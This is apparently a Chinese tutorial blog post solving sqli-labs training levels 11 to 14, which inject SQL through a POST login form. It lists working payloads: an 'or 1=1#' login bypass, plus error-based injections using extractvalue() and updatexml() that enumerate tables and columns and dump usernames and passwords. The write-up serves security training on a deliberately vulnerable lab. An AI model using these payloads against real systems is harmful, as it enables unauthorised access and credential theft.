SQL注入sqli_labs靶场第十一、十二、十三、十四题详解

第十一题

方法一

poss提交

输入1显示登录失败

输入1' 显示报错信息

根据提示得知:SQL查询语句为 username='参数' and password=''

and是与运算;两个或多个条件同时满足,才为真(显示一条数据)

or是或运算,两个或多个条件满足其中一个即为真(显示一条数据)

此处只能用1' or 1=1# 不能用and,因为不知道username,username='1'恒为假

并且只能用#,用--+无效

1' or 1=1# 页面正常显示

1' or 1=2# 页面报错

说明SQL语句正确

后续步骤使用联合注入

方法二

登录界面,Burpsuite抓包尝试

输入1',提示报错、单引号注入

使用报错注入的方法:extractvalue()

1'order by 2 判断列数

1'union select 1,extractvalue(1,concat(0x7e,database()))%23 爆版本号、数据库名、权限等

1'union select 1,extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1)))%23 爆表名

1'union select 1,extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)))%23 爆列名

1'union select 1,extractvalue(1,concat(0x7e,(select username from users limit 0,1)))%23

1'union select 1,extractvalue(1,concat(0x7e,(select password from users limit 0,1)))%23 爆账号密码

或者1'union select username,password from users limit 1,1 %23

使用报错注入的方法:updatexml()

1'order by 2 判断列数

1'union select 1,updatexml(1,concat(0x7e,database()),1)%23 爆版本号、数据库名、权限等

1'union select 1,updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1)),1)%23 爆表名

1'union select 1,updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)),1)%23 爆列名

1'union select 1,updatexml(1,concat(0x7e,(select username from users limit 0,1)),1)%23

1'union select 1,updatexml(1,concat(0x7e,(select password from users limit 0,1)),1)%23 爆账号密码

或者1'union select username,password from users limit 1,1 %23

第十二题

输入1 和 1' 页面没反应 输入1" 页面出现报错信息,提示是双引号带括号注入

猜解步骤与第十一题相同

第十三题

输入1' 出现报错信息,提示是单引号带括号注入

猜解步骤与第十一题相同

第十四题

输入1",出现报错信息,提示是双引号注入

猜解步骤与第十一题相同

相关推荐

  1. SQL注入sqli_labs靶场九、

    2024-04-14 06:04:01       20 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-04-14 06:04:01       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-04-14 06:04:01       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-04-14 06:04:01       18 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-04-14 06:04:01       20 阅读

热门阅读

  1. React中常见的Hook

    2024-04-14 06:04:01       16 阅读
  2. 如何在seata中编写测试用例

    2024-04-14 06:04:01       13 阅读
  3. spring.cloud.gateway.discovery.locator.enabled配置项分析

    2024-04-14 06:04:01       15 阅读
  4. macOS、Windows、Linux三种系统安装Node.js的详细步骤

    2024-04-14 06:04:01       12 阅读
  5. 大语言模型LLM《提示词工程指南》学习笔记05

    2024-04-14 06:04:01       12 阅读
  6. OneFlow深度学习框架介绍

    2024-04-14 06:04:01       13 阅读
  7. 【磁盘清理】/var/lib/docker/overlay2 占用空间过大

    2024-04-14 06:04:01       13 阅读